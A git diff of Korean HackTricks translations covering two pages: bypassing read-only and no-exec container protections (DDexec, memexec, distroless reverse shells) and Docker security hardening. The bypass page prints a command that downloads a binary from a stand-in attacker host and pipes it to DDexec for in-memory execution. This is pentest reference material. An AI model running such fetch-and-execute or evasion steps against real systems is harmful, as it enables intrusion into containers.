* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* 여러분의 해킹 기술을 공유하려면 **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소로 PR을 제출하세요.
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하세요.
|
||||
* 여러분의 해킹 기술을 공유하려면 **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 필수_).
|
||||
|
||||
|
@ -24,7 +24,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
다음 비디오에서는 이 페이지에서 언급된 기술에 대해 더 자세히 설명된 내용을 찾을 수 있습니다:
|
||||
|
||||
* [**DEF CON 31 - 은밀하고 회피를 위한 Linux 메모리 조작 탐색**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**DEF CON 31 - 은밀하고 회피를 위한 리눅스 메모리 조작 탐색**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**DDexec-ng 및 메모리 dlopen()을 사용한 은밀한 침입 - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
|
||||
## 읽기 전용 / 실행 불가 시나리오
|
||||
|
@ -47,12 +47,12 @@ securityContext:
|
|||
그러나 파일 시스템이 ro로 마운트되어 있더라도 **`/dev/shm`**은 여전히 쓰기 가능하므로 디스크에 아무것도 쓸 수 없는 것은 가짜입니다. 그러나 이 폴더는 **실행 불가 보호로 마운트**되므로 여기에 바이너리를 다운로드하면 **실행할 수 없습니다**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
적색 팀 관점에서는 시스템에 이미 없는 바이너리(백도어 또는 `kubectl`과 같은 열거자)를 **다운로드하고 실행하는 것이 복잡**해집니다.
|
||||
적색 팀 관점에서, 이는 시스템에 이미 없는 (백도어 또는 `kubectl`와 같은 열거자) 바이너리를 **다운로드하고 실행하는 것을 복잡하게 만듭니다**.
|
||||
{% endhint %}
|
||||
|
||||
## 가장 쉬운 우회: 스크립트
|
||||
|
||||
바이너리를 언급했지만, 인터프리터가 머신 내에 있는 한 **쉘 스크립트**(`sh`가 설치되어 있는 경우)나 **파이썬 스크립트**(`python`이 설치된 경우)와 같이 **스크립트를 실행**할 수 있습니다.
|
||||
바이너리를 언급했지만, 인터프리터가 머신 내에 있는 한 **쉘 스크립트**(`sh`가 설치되어 있는 경우)나 **파이썬 스크립트**와 같이 **스크립트를 실행**할 수 있습니다.
|
||||
|
||||
그러나 이것만으로는 바이너리 백도어나 실행해야 할 다른 바이너리 도구를 실행할 수 없을 수도 있습니다.
|
||||
|
||||
|
@ -62,20 +62,22 @@ securityContext:
|
|||
|
||||
### FD + exec 시스템 호출 우회
|
||||
|
||||
머신 내에 **Python**, **Perl**, 또는 **Ruby**와 같은 강력한 스크립트 엔진이 있는 경우, 메모리에서 실행할 바이너리를 다운로드하고, 이를 메모리 파일 디스크립터(`create_memfd` 시스템 호출)에 저장한 후, 이러한 보호 기능에 의해 보호되지 않을 것이므로 **fd를 파일로 실행**할 수 있도록 **`exec` 시스템 호출**을 호출할 수 있습니다.
|
||||
머신 내에 **Python**, **Perl**, 또는 **Ruby**와 같은 강력한 스크립트 엔진이 있는 경우, 메모리에서 실행할 바이너리를 다운로드하고, 해당 보호 기능에 의해 보호되지 않는 메모리 파일 디스크립터(`create_memfd` 시스템 호출)에 저장한 다음 **`exec` 시스템 호출**을 호출하여 **fd를 실행할 파일로 지정**할 수 있습니다.
|
||||
|
||||
이를 위해 [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) 프로젝트를 쉽게 사용할 수 있습니다. 이 프로젝트에 바이너리를 전달하면 **바이너리를 디코딩하고 압축 해제하는 지침과 함께** **지정된 언어의 스크립트**를 생성하여 `create_memfd` 시스템 호출을 통해 만든 **fd**에 바이너리를 저장하고 실행하기 위한 **exec** 시스템 호출을 호출합니다.
|
||||
이를 위해 [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) 프로젝트를 쉽게 사용할 수 있습니다. 이 프로젝트에 바이너리를 전달하면 **바이너리를 압축하고 b64로 인코딩**한 스크립트를 생성하고, `create_memfd` 시스템 호출을 통해 만든 **fd**에 **디코딩 및 압축 해제**하는 지침과 **실행**을 위한 **exec** 시스템 호출이 포함된 지정된 언어의 스크립트가 생성됩니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
PHP 또는 Node와 같은 다른 스크립팅 언어에서는 **스크립트에서 원시 시스템 호출을 호출하는 기본 방법**이 없기 때문에 `create_memfd`를 호출하여 **메모리 fd**를 만들어 바이너리를 저장할 수 없습니다. 따라서 `/dev/shm`에 파일이 있는 **일반 fd**를 만들어도 **실행할 수 없습니다**. 왜냐하면 **실행 불가 보호**가 적용되기 때문입니다.
|
||||
PHP 또는 Node와 같은 다른 스크립팅 언어에서는 스크립트에서 **원시 시스템 호출을 호출하는 기본 방법**이 없기 때문에 `create_memfd`를 호출하여 **메모리 fd**를 만들 수 없으므로 이 방법은 작동하지 않습니다.
|
||||
|
||||
또한 `/dev/shm`에 파일이 있는 **일반 fd**를 만들어도 **실행할 수 없습니다**. 왜냐하면 **실행 불가 보호**가 적용되기 때문입니다.
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec)는 **자신의 프로세스 메모리를 수정**하여 **`/proc/self/mem`**을 덮어쓰는 기술로, **프로세스가 실행하는 어셈블리 코드를 제어**하여 **쉘코드**를 작성하고 프로세스를 **임의의 코드를 실행**하도록 "변이"시킬 수 있습니다.
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec)는 **자신의 프로세스 메모리를 수정**하여 **`/proc/self/mem`**을 덮어쓰는 기술로, **프로세스가 실행하는 어셈블리 코드를 제어**하여 **쉘코드**를 작성하고 프로세스를 **임의의 코드를 실행하도록 변형**할 수 있습니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
**DDexec / EverythingExec**를 사용하면 **메모리**에서 자체 **쉘코드** 또는 **임의의 바이너리**를 **로드하고 실행**할 수 있습니다.
|
||||
**DDexec / EverythingExec**를 사용하면 **메모리**에서 **자체 셸코드** 또는 **임의의 바이너리**를 **로드하고 실행**할 수 있습니다.
|
||||
{% endhint %}
|
||||
```bash
|
||||
# Basic example
|
||||
|
@ -83,40 +85,40 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
|
|||
```
|
||||
### MemExec
|
||||
|
||||
[**Memexec**](https://github.com/arget13/memexec)는 DDexec의 자연스러운 다음 단계입니다. **DDexec 셸코드를 데몬화**한 것으로, **다른 이진 파일을 실행**하려면 DDexec을 다시 시작할 필요가 없습니다. 대신 DDexec 기술을 통해 memexec 셸코드를 실행하고 **이 데몬과 통신하여 새로운 이진 파일을로드하고 실행**할 수 있습니다.
|
||||
[**Memexec**](https://github.com/arget13/memexec)은 DDexec의 자연스러운 다음 단계입니다. **DDexec 셸코드를 데몬화**한 것으로, **다른 이진 파일을 실행**하려면 DDexec을 다시 시작할 필요가 없습니다. 대신 DDexec 기술을 통해 memexec 셸코드를 실행하고 **이 데몬과 통신하여 새로운 이진 파일을 전달하고 실행**할 수 있습니다.
|
||||
|
||||
**memexec를 사용하여 PHP 역쉘에서 이진 파일을 실행하는 예제**는 [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php)에서 찾을 수 있습니다.
|
||||
|
||||
### Memdlopen
|
||||
|
||||
DDexec과 유사한 목적을 가진 [**memdlopen**](https://github.com/arget13/memdlopen) 기술은 **메모리에 이진 파일을로드하여 나중에 실행하는 더 쉬운 방법**을 제공합니다. 이를 통해 종속성이 있는 이진 파일을로드할 수도 있습니다.
|
||||
DDexec과 유사한 목적을 가진 [**memdlopen**](https://github.com/arget13/memdlopen) 기술은 **메모리에 이진 파일을 로드하여 나중에 실행하는 더 쉬운 방법**을 제공합니다. 이를 통해 종속성이 있는 이진 파일을 로드할 수도 있습니다.
|
||||
|
||||
## Distroless Bypass
|
||||
|
||||
### Distroless란
|
||||
|
||||
Distroless 컨테이너에는 특정 응용 프로그램이나 서비스를 실행하는 데 필요한 **최소한의 구성 요소만 포함**되어 있습니다. 라이브러리 및 런타임 종속성과 같은 것은 포함되지만 패키지 관리자, 셸 또는 시스템 유틸리티와 같은 큰 구성 요소는 제외됩니다.
|
||||
Distroless 컨테이너에는 특정 응용 프로그램이나 서비스를 실행하는 데 필요한 **최소한의 구성 요소만 포함**되어 있습니다. 패키지 관리자, 셸 또는 시스템 유틸리티와 같은 큰 구성 요소는 제외됩니다.
|
||||
|
||||
Distroless 컨테이너의 목표는 **불필요한 구성 요소를 제거**함으로써 컨테이너의 **공격 표면을 줄이고 악용될 수 있는 취약점의 수를 최소화**하는 것입니다.
|
||||
Distroless 컨테이너의 목표는 **불필요한 구성 요소를 제거**함으로써 컨테이너의 공격 표면을 줄이고 악용될 수 있는 취약점의 수를 최소화하는 것입니다.
|
||||
|
||||
### 역쉘
|
||||
|
||||
Distroless 컨테이너에서는 일반 쉘을 얻기 위해 `sh` 또는 `bash`를 **찾을 수 없을 수도** 있습니다. 또한 `ls`, `whoami`, `id`와 같은 이진 파일도 찾을 수 없습니다. 이는 일반적으로 시스템에서 실행하는 모든 것입니다.
|
||||
Distroless 컨테이너에서는 보통 `sh`나 `bash`와 같은 것을 찾을 수 없을 수도 있습니다. 또한 `ls`, `whoami`, `id`와 같은 이진 파일도 찾을 수 없습니다. 이는 일반적으로 시스템에서 실행하는 모든 것들입니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
따라서 보통 하는 것처럼 **역쉘을 얻거나** 시스템을 **열거**할 수 없습니다.
|
||||
따라서 보통 하는 것처럼 **역쉘을 얻거나** 시스템을 **열거할 수 없을 것**입니다.
|
||||
{% endhint %}
|
||||
|
||||
그러나 감염된 컨테이너가 예를 들어 플라스크 웹을 실행 중이라면 Python이 설치되어 있으므로 **Python 역쉘**을 얻을 수 있습니다. Node를 실행 중이라면 Node 역쉘을 얻을 수 있으며 대부분의 **스크립팅 언어**도 마찬가지입니다.
|
||||
그러나 kompromised 컨테이너가 예를 들어 flask 웹을 실행 중이라면 python이 설치되어 있으므로 **Python 역쉘**을 얻을 수 있습니다. Node를 실행 중이라면 Node 역쉘을 얻을 수 있으며 대부분의 **스크립팅 언어**도 마찬가지입니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
스크립팅 언어를 사용하여 **언어 기능을 활용하여 시스템을 열거**할 수 있습니다.
|
||||
스크립팅 언어를 사용하여 언어 기능을 활용하여 시스템을 **열거**할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
**`read-only/no-exec`** 보호 기능이 없는 경우에는 역쉘을 악용하여 파일 시스템에 **자신의 이진 파일을 작성**하고 **실행**할 수 있습니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
그러나 이러한 종류의 컨테이너에서는 일반적으로 이러한 보호 기능이 존재하지만 **이를 우회하기 위해 이전 메모리 실행 기술을 사용**할 수 있습니다.
|
||||
그러나 이러한 종류의 컨테이너에서는 일반적으로 이러한 보호 기능이 존재하지만, **이전 메모리 실행 기술을 사용하여 이를 우회**할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
**RCE 취약점을 악용하여 스크립팅 언어 역쉘을 얻고 메모리에서 이진 파일을 실행하는 방법**에 대한 **예제**는 [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)에서 찾을 수 있습니다.
|
||||
|
|
|
@ -6,25 +6,25 @@
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 **세계에서 가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## **기본 Docker 엔진 보안**
|
||||
|
||||
**Docker 엔진**은 컨테이너를 격리하기 위해 Linux 커널의 **네임스페이스**와 **Cgroups**를 사용하여 기본적인 보안 계층을 제공합니다. **캐퍼빌리티 드롭**, **Seccomp**, **SELinux/AppArmor**을 통해 추가적인 보호가 제공되어 컨테이너 격리가 강화됩니다. **인증 플러그인**을 사용하여 사용자 조치를 더 제한할 수 있습니다.
|
||||
**Docker 엔진**은 컨테이너를 격리하기 위해 Linux 커널의 **네임스페이스**와 **Cgroups**를 사용하여 기본적인 보안 계층을 제공합니다. **캐퍼빌리티 드롭**, **Seccomp**, **SELinux/AppArmor**를 통해 추가적인 보호가 제공되어 컨테이너 격리가 강화됩니다. **인증 플러그인**을 사용하여 사용자 작업을 더 제한할 수 있습니다.
|
||||
|
||||
![Docker 보안](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
|
||||
|
||||
|
@ -32,12 +32,12 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
Docker 엔진은 로컬로는 Unix 소켓을 통해, 원격으로는 HTTP를 사용하여 액세스할 수 있습니다. 원격 액세스의 경우, 기밀성, 무결성 및 인증을 보장하기 위해 HTTPS 및 **TLS**를 사용하는 것이 중요합니다.
|
||||
|
||||
Ubuntu 시스템에서 Docker의 시작 옵션은 `/etc/default/docker`에 정의됩니다. Docker API 및 클라이언트에 원격 액세스를 활성화하려면 다음 설정을 추가하여 Docker 데몬을 HTTP 소켓으로 노출하세요:
|
||||
Ubuntu 시스템에서 Docker는 기본적으로 `unix:///var/run/docker.sock`에서 Unix 소켓을 수신합니다. Docker의 시작 옵션은 `/etc/default/docker`에 정의됩니다. Docker API 및 클라이언트에 원격 액세스를 활성화하려면 다음 설정을 추가하여 Docker 데몬을 HTTP 소켓으로 노출하세요:
|
||||
```bash
|
||||
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
|
||||
sudo service docker restart
|
||||
```
|
||||
그러나 Docker 데몬을 HTTP로 노출하는 것은 보안 문제로 인해 권장되지 않습니다. 연결을 안전하게 하기 위해 HTTPS를 사용하는 것이 좋습니다. 연결을 보호하는 두 가지 주요 방법이 있습니다:
|
||||
그러나 Docker 데몬을 HTTP로 노출하는 것은 보안 문제로 인해 권장되지 않습니다. 연결을 안전하게 하려면 HTTPS를 사용하는 것이 좋습니다. 연결을 보호하는 두 가지 주요 방법이 있습니다:
|
||||
|
||||
1. 클라이언트가 서버의 신원을 확인합니다.
|
||||
2. 클라이언트와 서버가 서로의 신원을 상호 인증합니다.
|
||||
|
@ -50,17 +50,17 @@ sudo service docker restart
|
|||
|
||||
* [**Docker Hub**](https://hub.docker.com): Docker의 공개 레지스트리 서비스.
|
||||
* [**Docker Registry**](https://github.com/docker/distribution): 사용자가 자체 레지스트리를 호스팅할 수 있도록 하는 오픈 소스 프로젝트.
|
||||
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): 역할 기반 사용자 인증 및 LDAP 디렉터리 서비스 통합을 제공하는 Docker의 상용 레지스트리 오퍼링.
|
||||
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): 역할 기반 사용자 인증 및 LDAP 디렉터리 서비스 통합을 제공하는 Docker의 상용 레지스트리 옵션.
|
||||
|
||||
### 이미지 스캔
|
||||
|
||||
컨테이너에는 기본 이미지 또는 기본 이미지 위에 설치된 소프트웨어로 인해 **보안 취약점**이 있을 수 있습니다. Docker는 **Nautilus**라는 프로젝트를 진행 중이며, 이 프로젝트는 컨테이너의 보안 취약점을 스캔하고 취약점을 나열합니다. Nautilus는 각 컨테이너 이미지 레이어를 취약점 저장소와 비교하여 보안 취약점을 식별하는 방식으로 작동합니다.
|
||||
컨테이너에는 기본 이미지 또는 기본 이미지 위에 설치된 소프트웨어로 인해 **보안 취약점**이 있을 수 있습니다. Docker는 **Nautilus**라는 프로젝트를 진행 중이며 이 프로젝트는 컨테이너의 보안 취약점을 스캔하고 취약점을 나열합니다. Nautilus는 각 컨테이너 이미지 레이어를 취약점 저장소와 비교하여 보안 취약점을 식별하는 방식으로 작동합니다.
|
||||
|
||||
더 많은 [**정보는 여기를 참조하십시오**](https://docs.docker.com/engine/scan/).
|
||||
자세한 내용은 [**여기를 읽어보세요**](https://docs.docker.com/engine/scan/).
|
||||
|
||||
* **`docker scan`**
|
||||
|
||||
**`docker scan`** 명령을 사용하여 이미지 이름 또는 ID를 사용하여 기존 Docker 이미지를 스캔할 수 있습니다. 예를 들어, 다음 명령을 실행하여 hello-world 이미지를 스캔할 수 있습니다:
|
||||
**`docker scan`** 명령을 사용하면 이미지 이름 또는 ID를 사용하여 기존 Docker 이미지를 스캔할 수 있습니다. 예를 들어, 다음 명령을 실행하여 hello-world 이미지를 스캔할 수 있습니다:
|
||||
```bash
|
||||
docker scan hello-world
|
||||
|
||||
|
@ -92,11 +92,11 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
|
|||
|
||||
도커 이미지 서명은 컨테이너에서 사용되는 이미지의 보안과 무결성을 보장합니다. 다음은 간략한 설명입니다:
|
||||
|
||||
- **도커 콘텐츠 신뢰(Docker Content Trust)**는 이미지 서명을 관리하기 위해 Notary 프로젝트를 사용하며, The Update Framework (TUF)에 기반합니다. 자세한 정보는 [Notary](https://github.com/docker/notary) 및 [TUF](https://theupdateframework.github.io)를 참조하십시오.
|
||||
- **도커 콘텐츠 신뢰(Docker Content Trust)**는 이미지 서명을 관리하기 위해 The Update Framework (TUF)를 기반으로 하는 Notary 프로젝트를 활용합니다. 자세한 정보는 [Notary](https://github.com/docker/notary) 및 [TUF](https://theupdateframework.github.io)를 참조하십시오.
|
||||
- 도커 콘텐츠 신뢰를 활성화하려면 `export DOCKER_CONTENT_TRUST=1`을 설정하십시오. 이 기능은 도커 버전 1.10 이후에 기본적으로 꺼져 있습니다.
|
||||
- 이 기능을 활성화하면 서명된 이미지만 다운로드할 수 있습니다. 초기 이미지 푸시는 루트 및 태깅 키에 대한 암호를 설정해야 하며, 도커는 보안을 강화하기 위해 Yubikey도 지원합니다. 자세한 내용은 [여기](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)에서 확인할 수 있습니다.
|
||||
- 콘텐츠 신뢰가 활성화된 상태에서 서명되지 않은 이미지를 가져오려고 시도하면 "No trust data for latest" 오류가 발생합니다.
|
||||
- 첫 번째 이후의 이미지 푸시에 대해, 도커는 이미지에 서명하기 위해 저장소 키의 암호를 요청합니다.
|
||||
- 첫 번째 이후의 이미지 푸시에 대해 도커는 이미지에 서명하기 위해 저장소 키의 암호를 요청합니다.
|
||||
|
||||
개인 키를 백업하려면 다음 명령을 사용하십시오:
|
||||
```bash
|
||||
|
@ -106,10 +106,10 @@ Docker 호스트를 전환할 때는 작업을 유지하기 위해 루트 및
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -120,25 +120,25 @@ Docker 호스트를 전환할 때는 작업을 유지하기 위해 루트 및
|
|||
|
||||
<summary>컨테이너 보안 기능 요약</summary>
|
||||
|
||||
#### 주요 프로세스 격리 기능
|
||||
**주요 프로세스 격리 기능**
|
||||
|
||||
컨테이너 환경에서 프로젝트 및 프로세스를 격리하는 것은 보안 및 자원 관리에 매우 중요합니다. 다음은 주요 개념을 간단히 설명한 것입니다:
|
||||
|
||||
**네임스페이스**
|
||||
|
||||
* **목적**: 프로세스, 네트워크 및 파일 시스템과 같은 리소스의 격리를 보장합니다. 특히 Docker에서는 네임스페이스가 컨테이너의 프로세스를 호스트 및 다른 컨테이너와 분리합니다.
|
||||
* **`unshare` 사용**: `unshare` 명령(또는 기본 시스콜)을 사용하여 새로운 네임스페이스를 생성하여 추가적인 격리 계층을 제공합니다. 그러나 Kubernetes는 이를 기본적으로 차단하지 않지만 Docker는 차단합니다.
|
||||
* **제한 사항**: 새로운 네임스페이스를 생성하면 프로세스가 호스트의 기본 네임스페이스로 되돌아갈 수 없습니다. 호스트 네임스페이스에 침투하려면 일반적으로 호스트의 `/proc` 디렉토리에 액세스하여 `nsenter`를 사용해야 합니다.
|
||||
* **`unshare` 사용**: `unshare` 명령어(또는 해당 시스콜)를 사용하여 새로운 네임스페이스를 생성하여 추가적인 격리 계층을 제공합니다. 그러나 Kubernetes는 이를 기본적으로 차단하지 않지만 Docker는 차단합니다.
|
||||
* **제한**: 새로운 네임스페이스를 생성하더라도 프로세스가 호스트의 기본 네임스페이스로 되돌아가는 것을 허용하지 않습니다. 호스트 네임스페이스에 침투하려면 일반적으로 호스트의 `/proc` 디렉토리에 액세스해야 하며, `nsenter`를 사용하여 진입해야 합니다.
|
||||
|
||||
**제어 그룹 (CGroups)**
|
||||
|
||||
* **기능**: 프로세스 간에 리소스를 할당하는 데 주로 사용됩니다.
|
||||
* **보안 측면**: CGroups 자체는 격리 보안을 제공하지 않지만, 잘못 구성된 경우 `release_agent` 기능을 통해 무단 액세스를 악용할 수 있습니다.
|
||||
* **기능**: 프로세스 간 자원을 할당하는 데 주로 사용됩니다.
|
||||
* **보안 측면**: CGroups 자체는 격리 보안을 제공하지 않지만, `release_agent` 기능을 통해 잘못 구성된 경우 무단 액세스에 악용될 수 있습니다.
|
||||
|
||||
**능력 제한**
|
||||
|
||||
* **중요성**: 프로세스 격리에 대한 중요한 보안 기능입니다.
|
||||
* **기능**: 특정 능력을 삭제함으로써 루트 프로세스가 수행할 수 있는 작업을 제한합니다. 프로세스가 루트 권한으로 실행되더라도 필요한 능력이 없으면 특권 작업을 실행할 수 없으며, 시스콜은 권한이 부족하여 실패합니다.
|
||||
* **중요성**: 프로세스 격리를 위한 중요한 보안 기능입니다.
|
||||
* **기능**: 특정 능력을 삭제함으로써 루트 프로세스가 수행할 수 있는 작업을 제한합니다. 프로세스가 루트 권한으로 실행되더라도 필요한 능력이 없으면 특권 작업을 실행할 수 없으며, 시스콜이 권한이 부족하여 실패합니다.
|
||||
|
||||
이것은 프로세스가 다른 능력을 삭제한 후 남은 **능력**입니다:
|
||||
|
||||
|
@ -150,7 +150,7 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
|
|||
|
||||
**Seccomp**
|
||||
|
||||
도커에서 기본적으로 활성화되어 있습니다. 프로세스가 호출할 수 있는 시스콜을 **더 제한하는 데 도움**이 됩니다.\
|
||||
도커에서 기본으로 활성화되어 있습니다. 프로세스가 호출할 수 있는 시스콜을 **더 제한하는 데 도움**이 됩니다.\
|
||||
**기본 도커 Seccomp 프로필**은 [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)에서 찾을 수 있습니다.
|
||||
|
||||
**AppArmor**
|
||||
|
@ -161,9 +161,9 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
|
|||
|
||||
</details>
|
||||
|
||||
### Namespaces
|
||||
### 네임스페이스
|
||||
|
||||
**네임스페이스**는 Linux 커널의 기능으로, 하나의 **프로세스 집합**이 **한 세트의 리소스를 보는** 동안 **다른** 프로세스 집합이 **다른** 세트의 리소스를 보도록 커널 리소스를 분할합니다. 이 기능은 리소스와 프로세스 집합에 대해 동일한 네임스페이스를 가지고 있지만 해당 네임스페이스는 구별된 리소스를 참조합니다. 리소스는 여러 공간에 존재할 수 있습니다.
|
||||
**네임스페이스**는 Linux 커널의 기능으로, 하나의 **프로세스 집합**이 **한 세트의 리소스를 보는** 동안 **다른** 프로세스 집합이 **다른** 세트의 리소스를 보도록 커널 리소스를 분할합니다. 이 기능은 동일한 네임스페이스를 가진 리소스와 프로세스 세트를 가지고 있지만 해당 네임스페이스는 서로 다른 리소스를 참조합니다. 리소스는 여러 공간에 존재할 수 있습니다.
|
||||
|
||||
도커는 컨테이너 격리를 달성하기 위해 다음과 같은 Linux 커널 네임스페이스를 활용합니다:
|
||||
|
||||
|
@ -181,8 +181,8 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
|
|||
|
||||
### cgroups
|
||||
|
||||
Linux 커널 기능인 **cgroups**는 프로세스 집합에 대해 **cpu, 메모리, io, 네트워크 대역폭과 같은 리소스를 제한**하는 기능을 제공합니다. 도커는 특정 컨테이너에 대한 리소스 제어를 가능하게 하는 cgroup 기능을 사용하여 컨테이너를 생성할 수 있습니다.\
|
||||
다음은 사용자 공간 메모리가 500m로 제한되고, 커널 메모리가 50m로 제한되며, CPU 공유가 512로, blkioweight가 400으로 설정된 컨테이너입니다. CPU 공유는 컨테이너의 CPU 사용량을 제어하는 비율입니다. 기본값은 1024이며 0에서 1024 사이의 범위를 가집니다. CPU 공유가 1024인 세 개의 컨테이너가 있을 경우, CPU 리소스 충돌이 발생할 경우 각 컨테이너는 CPU의 최대 33%를 사용할 수 있습니다. blkio-weight는 컨테이너의 IO를 제어하는 비율입니다. 기본값은 500이며 10에서 1000 사이의 범위를 가집니다.
|
||||
Linux 커널 기능인 **cgroups**는 일련의 프로세스 사이에서 **cpu, 메모리, io, 네트워크 대역폭과 같은 리소스를 제한**하는 기능을 제공합니다. 도커는 특정 컨테이너에 대한 리소스 제어를 가능하게 하는 cgroup 기능을 사용하여 컨테이너를 생성할 수 있습니다.\
|
||||
